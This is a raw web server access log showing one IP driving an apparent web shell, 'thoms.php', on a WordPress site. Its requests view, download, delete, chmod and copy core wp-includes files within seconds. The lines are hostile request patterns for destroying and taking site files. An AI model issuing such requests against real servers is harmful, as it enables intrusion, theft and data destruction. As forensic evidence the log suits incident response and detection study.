45.135.193.11 - - [11/Sep/2026:23:41:37 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-processor.php HTTP/1.1" 200 32891 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-processor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:36 -0400] "GET /thoms.php?dl=bookmark.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=bookmark.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:37 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-comment-query.php HTTP/1.1" 200 25430 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-comment-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:37 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=l10n.php HTTP/1.1" 200 29013 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=l10n.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:37 -0400] "GET /thoms.php?dl=class-wp-block.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59214 "http://163.245.207.76:443/thoms.php?dl=class-wp-block.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:37 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=default-widgets.php HTTP/1.1" 200 12402 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=default-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:37 -0400] "GET /thoms.php?del=php-ai-client&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59228 "http://163.245.207.76:443/thoms.php?del=php-ai-client&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:37 -0400] "GET /thoms.php?dl=class-wp-icon-collections-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=class-wp-icon-collections-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:37 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-table.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59191 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-table.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:38 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=wp-db.php HTTP/1.1" 200 12168 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=wp-db.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:38 -0400] "GET /thoms.php?chmod=class-wp-http-response.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-response.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:38 -0400] "GET /thoms.php?chmod=rewrite.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=rewrite.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:38 -0400] "GET /thoms.php?del=blocks.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=blocks.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:38 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=version.php HTTP/1.1" 200 12350 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=version.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:38 -0400] "GET /thoms.php?del=class-wp-image-editor-imagick.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor-imagick.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:38 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fl10n HTTP/1.1" 200 13700 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fl10n" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:38 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Ftheme-compat HTTP/1.1" 200 14311 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Ftheme-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:38 -0400] "GET /thoms.php?del=block-supports&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=block-supports&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:39 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-query.php HTTP/1.1" 200 54391 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-theme-json-data.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-theme-json-data.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:39 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fpomo HTTP/1.1" 200 13551 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fpomo" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:39 -0400] "GET /thoms.php?chmod=class-wp-block-bindings-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:39 -0400] "GET /thoms.php?del=ms-files.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=ms-files.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:39 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=theme.json HTTP/1.1" 200 14893 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=theme.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:39 -0400] "GET /thoms.php?del=class.wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59222 "http://163.245.207.76:443/thoms.php?del=class.wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-http-requests-response.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-http-requests-response.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:39 -0400] "GET /thoms.php?dl=category-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=category-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:39 -0400] "GET /thoms.php?del=class-wp-block-editor-context.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59229 "http://163.245.207.76:443/thoms.php?del=class-wp-block-editor-context.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:40 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-roles.php HTTP/1.1" 200 14883 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-roles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:40 -0400] "GET /thoms.php?del=class-wp-http-streams.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-http-streams.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:40 -0400] "GET /thoms.php?del=class-wp-image-editor.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:40 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=feed-rdf.php HTTP/1.1" 200 13034 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=feed-rdf.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:40 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-locale.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-locale.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:40 -0400] "GET /thoms.php?del=PHPMailer&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=PHPMailer&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:40 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-textdomain-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-textdomain-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:40 -0400] "GET /thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59198 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:41 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Flocale.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Flocale.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:41 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-editor-context.php HTTP/1.1" 200 12477 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-editor-context.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:41 -0400] "GET /thoms.php?del=l10n.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=l10n.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:41 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-embed.php HTTP/1.1" 200 17476 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:41 -0400] "GET /thoms.php?chmod=block-i18n.json&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=block-i18n.json&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:41 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-image-editor-gd.php HTTP/1.1" 200 18042 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-image-editor-gd.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:41 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=icons.php HTTP/1.1" 200 14047 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=icons.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:41 -0400] "GET /thoms.php?dl=class-wp-dependencies.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59243 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependencies.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:42 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=abilities.php HTTP/1.1" 200 14846 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=abilities.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:42 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=category.php HTTP/1.1" 200 16081 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:41 -0400] "GET /thoms.php?dl=speculative-loading.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=speculative-loading.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:42 -0400] "GET /thoms.php?chmod=class-wp-text-diff-renderer-inline.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-inline.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:42 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fnav-menu.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11830 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fnav-menu.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:42 -0400] "GET /thoms.php?del=class-oembed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?del=class-oembed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:42 -0400] "GET /thoms.php?dl=class-wp-session-tokens.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=class-wp-session-tokens.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:42 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:42 -0400] "GET /thoms.php?chmod=class-wp-block-parser-frame.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-frame.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:42 -0400] "GET /thoms.php?del=theme-templates.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=theme-templates.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:43 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-date-query.php HTTP/1.1" 200 22670 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-date-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:43 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-http-curl.php HTTP/1.1" 200 16267 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-http-curl.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:43 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=comment-template.php HTTP/1.1" 200 39100 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=comment-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:43 -0400] "GET /thoms.php?chmod=class-wp-editor.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-editor.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:43 -0400] "GET /thoms.php?chmod=class-wp-theme-json-resolver.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-resolver.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:43 -0400] "GET /thoms.php?dl=sitemaps.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59213 "http://163.245.207.76:443/thoms.php?dl=sitemaps.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:43 -0400] "GET /thoms.php?del=canonical.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=canonical.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:43 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-walker.php HTTP/1.1" 200 15561 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-walker.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:44 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=bookmark-template.php HTTP/1.1" 200 15891 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=bookmark-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:43 -0400] "GET /thoms.php?del=wp-db.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?del=wp-db.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:44 -0400] "GET /thoms.php?chmod=admin-bar.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=admin-bar.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:44 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fbookmark.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fbookmark.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:44 -0400] "GET /thoms.php?chmod=class-wp-navigation-fallback.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-navigation-fallback.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
